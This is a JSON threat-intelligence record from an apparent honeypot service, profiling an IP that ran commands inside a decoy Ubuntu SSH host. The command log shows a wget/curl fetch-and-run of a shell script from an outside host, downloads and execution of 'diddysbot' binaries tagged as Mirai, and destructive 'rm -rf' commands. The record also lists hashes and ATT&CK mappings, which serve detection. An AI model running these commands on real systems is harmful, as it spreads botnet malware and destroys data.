{"ip":"95.173.222.44","data_as_of":"2026-10-26T21:48:04+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Held a session open for 506s, against a median of well under a second."],"engagement":{"level":"request","label":"Request traffic, held open","detail":"3,402 bytes sent, longest session 506s","bytes_sent":3402,"session_seconds":506,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-24T22:36:39","last_seen":"2026-10-24T22:46:04","events_24h":0,"events_7d":0,"interactive_sessions":9,"interactive_sessions_24h":0,"interactive_sessions_7d":9,"interactive_protocols":[{"protocol":"http","sessions":7},{"protocol":"ssh","sessions":2}],"geo":{"country_code":"FR","country_name":"France","region":"","city":"","lat":null,"lon":null,"asn":212238,"org":"Datacamp Limited"},"source_domain":"unn-95-173-222-44.datapacket.com","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"85af57df794e5c9596aa623e86c8dab8d9c8741eeda03123170c9e9a3eac338e","family":"","vt_name":"","malicious":0,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-24 22:45:30"},{"sha256":"6220092c6ec17c47aebc32d101f0c51cf5f92eeee6eb736929e544686b4620c1","family":"","vt_name":"diddysbot-arm64","malicious":1,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-24 22:45:30"},{"sha256":"bbaa2414df825541f8a75cfebba26eb09bda271e89ecd6953776056f69ba3678","family":"mirai","vt_name":"diddysbot-x86","malicious":3,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-24 22:45:30"},{"sha256":"565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3","family":"","vt_name":"content_1","malicious":0,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-24 22:45:30"}],"udp":null,"interaction":{"window_days":90,"sessions":9,"first_seen":"2026-10-24T22:36:39","last_seen":"2026-10-24T22:46:04","verdicts":[{"verdict":"unknown","sessions":5},{"verdict":"scan","sessions":3},{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":5},{"persona":"linux-ubuntu@24.04","sessions":2},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":2}],"services":[{"protocol":"http","port":80,"sessions":5},{"protocol":"http","port":443,"sessions":2},{"protocol":"ssh","port":22,"sessions":2}],"logins":[],"commands":[{"ts":"2026-10-24T22:45:23","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:45:23","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd run","exit_code":0},{"ts":"2026-10-24T22:45:16","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:45:16","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var","exit_code":0},{"ts":"2026-10-24T22:44:45","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"rm -rf *","exit_code":0},{"ts":"2026-10-24T22:44:42","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"rm -rf µ","exit_code":0},{"ts":"2026-10-24T22:44:38","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var/www/html","exit_code":0},{"ts":"2026-10-24T22:44:13","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"rm -rf /","exit_code":1},{"ts":"2026-10-24T22:44:08","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:44:00","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo apt install htop","exit_code":100},{"ts":"2026-10-24T22:43:53","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo su","exit_code":0},{"ts":"2026-10-24T22:43:49","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sudo","exit_code":1},{"ts":"2026-10-24T22:43:48","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd","exit_code":0},{"ts":"2026-10-24T22:43:46","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"clear","exit_code":0},{"ts":"2026-10-24T22:43:42","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"apt install htop","exit_code":100},{"ts":"2026-10-24T22:43:18","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-x86","exit_code":0},{"ts":"2026-10-24T22:43:15","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"chmod 777 diddysbot-x86","exit_code":0},{"ts":"2026-10-24T22:43:08","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-x86","exit_code":126},{"ts":"2026-10-24T22:42:55","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget [http]://141[.]98[.]10[.]25/diddysbot-x86","exit_code":0},{"ts":"2026-10-24T22:42:42","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-arm64","exit_code":0},{"ts":"2026-10-24T22:42:39","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"diddysbot-arm64","exit_code":127},{"ts":"2026-10-24T22:42:30","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-arm64","exit_code":0},{"ts":"2026-10-24T22:42:27","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"chmod +x diddysbot-arm64","exit_code":0},{"ts":"2026-10-24T22:42:08","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-arm64","exit_code":126},{"ts":"2026-10-24T22:41:59","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"/§diddysbot-arm64","exit_code":127},{"ts":"2026-10-24T22:41:51","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./didd\tysbot-arm64","exit_code":127},{"ts":"2026-10-24T22:41:30","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:41:27","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget [http]://141[.]98[.]10[.]25/diddysbot-arm64","exit_code":0},{"ts":"2026-10-24T22:40:53","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat suckit.sh","exit_code":0},{"ts":"2026-10-24T22:40:43","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"sh suckit.sh","exit_code":127},{"ts":"2026-10-24T22:40:31","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:40:29","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget -q [http]://141[.]98[.]10[.]25/suckit.sh","exit_code":0},{"ts":"2026-10-24T22:40:27","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget -q [http]://141[.]98[.]10[.]25/suckit.sh","exit_code":0},{"ts":"2026-10-24T22:40:17","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var/tmp; rm -f .x; wget -q [http]://141[.]98[.]10[.]25/suckit.sh -O .x || curl -fsSL [http]://141[.]98[.]10[.]25/suckit.sh -o .x; sh .x; rm -f .x","exit_code":0},{"ts":"2026-10-24T22:40:12","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var/tmp; rm -f .x; wget -q [http]://141[.]98[.]10[.]25/suckit.sh -O .x || curl -fsSL [http]://141[.]98[.]10[.]25/suckit.sh -o .x; sh .x; rm -f .x","exit_code":0},{"ts":"2026-10-24T22:39:39","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd html","exit_code":0},{"ts":"2026-10-24T22:39:35","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:39:33","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd ../../..","exit_code":0},{"ts":"2026-10-24T22:39:26","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:39:24","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd phpunit","exit_code":0},{"ts":"2026-10-24T22:39:20","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cdcd php\t\tunit","exit_code":127},{"ts":"2026-10-24T22:39:09","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:39:07","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd vendor","exit_code":0},{"ts":"2026-10-24T22:39:03","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:38:18","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"nano test","exit_code":127},{"ts":"2026-10-24T22:38:15","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"nanotest","exit_code":127},{"ts":"2026-10-24T22:38:09","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat wp\t-\t\t\tconfig.php","exit_code":1},{"ts":"2026-10-24T22:37:57","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-24T22:37:57","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var/www/html","exit_code":0},{"ts":"2026-10-24T22:37:51","session_id":"d325c4d7-eb76-4872-883d-4b76aab55fcc","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0}],"downloads":[{"url":"[http]://caca[.]com","host":"caca[.]com","sessions":1,"first_seen":"2026-10-24T22:45:30","last_seen":"2026-10-24T22:45:30","virustotal":{"sha256":"565339bc4d33d72817b583024112eb7f5cdf3e5eef0252d6ec1b9c9a94e12bb3","status":"known","malicious":0,"total":75,"name":"content_1"}},{"url":"[http]://google[.]com","host":"google[.]com","sessions":1,"first_seen":"2026-10-24T22:45:30","last_seen":"2026-10-24T22:45:30","virustotal":null},{"url":"[http]://141[.]98[.]10[.]25/diddysbot-x86","host":"141[.]98[.]10[.]25","sessions":1,"first_seen":"2026-10-24T22:45:30","last_seen":"2026-10-24T22:45:30","virustotal":{"sha256":"bbaa2414df825541f8a75cfebba26eb09bda271e89ecd6953776056f69ba3678","status":"uploaded","malicious":3,"total":75,"name":"diddysbot-x86"}},{"url":"[http]://141[.]98[.]10[.]25/suckit.sh","host":"141[.]98[.]10[.]25","sessions":1,"first_seen":"2026-10-24T22:45:30","last_seen":"2026-10-24T22:45:30","virustotal":{"sha256":"85af57df794e5c9596aa623e86c8dab8d9c8741eeda03123170c9e9a3eac338e","status":"known","malicious":0,"total":75,"name":""}},{"url":"[http]://141[.]98[.]10[.]25/diddysbot-arm64","host":"141[.]98[.]10[.]25","sessions":1,"first_seen":"2026-10-24T22:45:30","last_seen":"2026-10-24T22:45:30","virustotal":{"sha256":"6220092c6ec17c47aebc32d101f0c51cf5f92eeee6eb736929e544686b4620c1","status":"uploaded","malicious":1,"total":75,"name":"diddysbot-arm64"}}],"files":[{"sha256":"38186def4bdf51ba2d1660b2b63841dbd5559023c0526d8f21f2830ab3d1348a","name":"suckit.sh","size":29,"mime_type":"text/plain","kind":"downloaded","times":4,"first_seen":"2026-10-24T22:40:12","last_seen":"2026-10-24T22:40:29","virustotal":null},{"sha256":"8521d90365dd15f5d658e22226d8625b1480c87eeaed84e11159adb8289b9d32","name":"suckit.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":3,"first_seen":"2026-10-24T22:40:12","last_seen":"2026-10-24T22:40:43","virustotal":null},{"sha256":"ad4b2693b53b107d038daded377d438cc27d91e4f3d9d4c82a3f4161d3448ca1","name":"diddysbot-arm64","size":3472,"mime_type":"application/x-executable","kind":"sample","times":2,"first_seen":"2026-10-24T22:42:30","last_seen":"2026-10-24T22:42:42","virustotal":null},{"sha256":"69abb1ecd149d7b892c937667cd5b99f0852f8397b2d8a8b48d58d36b6705719","name":"diddysbot-x86","size":6386,"mime_type":"application/x-executable","kind":"sample","times":1,"first_seen":"2026-10-24T22:43:18","last_seen":"2026-10-24T22:43:18","virustotal":null},{"sha256":"d1f1723efda0f58d84ced36998cd3aa3dec08457f61c8d46584522d92158a967","name":"diddysbot-x86","size":33,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-24T22:42:55","last_seen":"2026-10-24T22:42:55","virustotal":null},{"sha256":"817ac560c3206dc92d540e77bbb98b65b7ba0b277acd6d848f1645d05100cbfe","name":"diddysbot-arm64","size":35,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-24T22:41:27","last_seen":"2026-10-24T22:41:27","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":3},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":5},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":2},{"port":443,"proto":"tcp","label":"HTTPS","count":0,"sessions":2}],"fingerprints":{"ssh_hassh":["e1d88fdd485f9c710074daa1fcce80a6"],"tls_ja4":["t13i1515h2_8daaf6152771_02713d6af862"],"tls_client_hello":"","tls_ja3":["05421a1abe6a476cce7ff30c27a414a2","9993424e79daece08a05bc302b11b50b"],"http_akin":[],"interactive":{"ssh_hassh":["e1d88fdd485f9c710074daa1fcce80a6"],"tls_ja4":["t13i1515h2_8daaf6152771_02713d6af862"],"tls_ja3":["05421a1abe6a476cce7ff30c27a414a2","9993424e79daece08a05bc302b11b50b"]}},"fingerprint_peers":{"t13i1515h2_8daaf6152771_02713d6af862":54,"e1d88fdd485f9c710074daa1fcce80a6":0},"akin_families":{},"user_agents":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-24","count":0,"sessions":9}],"recent_events":[{"timestamp":"2026-10-24T22:45:23","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls","payload_hex":"6c73","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-116","seq":116,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-24T22:45:23","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd run","payload_hex":"63642072756e","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-114","seq":114,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"cedff91f4fdd570b","strings":["cd run"]},"interactive":true},{"timestamp":"2026-10-24T22:45:16","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls","payload_hex":"6c73","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-112","seq":112,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-24T22:45:16","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /var","payload_hex":"6364202f766172","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-110","seq":110,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"365cefdf047273e2","strings":["cd /var"]},"interactive":true},{"timestamp":"2026-10-24T22:44:49","port":80,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132372e302e302e30205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62333b713d302e370d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","ja3":"","session":"da724d5e-830e-41d6-aa1d-eb8fb9406c60-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-24T22:44:45","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"rm -rf *","payload_hex":"726d202d7266202a","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-108","seq":108,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8603e47704364ae2","strings":["rm -rf *"]},"interactive":true},{"timestamp":"2026-10-24T22:44:42","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"rm -rf µ","payload_hex":"726d202d726620c2b5","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-106","seq":106,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"be025331a4401af9","strings":["rm -rf"]},"interactive":true},{"timestamp":"2026-10-24T22:44:38","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /var/www/html","payload_hex":"6364202f7661722f7777772f68746d6c","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-104","seq":104,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6a28e42a59c7d885","strings":["cd /var/www/html"],"iocs":{"paths":["/var/www/html"]}},"interactive":true},{"timestamp":"2026-10-24T22:44:13","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"rm -rf /","payload_hex":"726d202d7266202f","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-102","seq":102,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c16a44e3ead2dbeb","strings":["rm -rf /"]},"interactive":true},{"timestamp":"2026-10-24T22:44:08","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls","payload_hex":"6c73","method":"","user_agent":"","ja3":"","session":"d325c4d7-eb76-4872-883d-4b76aab55fcc-100","seq":100,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true}],"http_methods":[{"method":"GET","count":4}],"distinct_ports_total":3,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/favicon.ico","count":1,"ports":1},{"path":"/wp-config.php","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Cache-Control","Connection","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Accept-Language","value":"en-US,en;q=0.9","notable":false},{"name":"Cache-Control","value":"max-age=0","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","notable":false}],"distinct_sets":1,"events_with_headers":1},"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}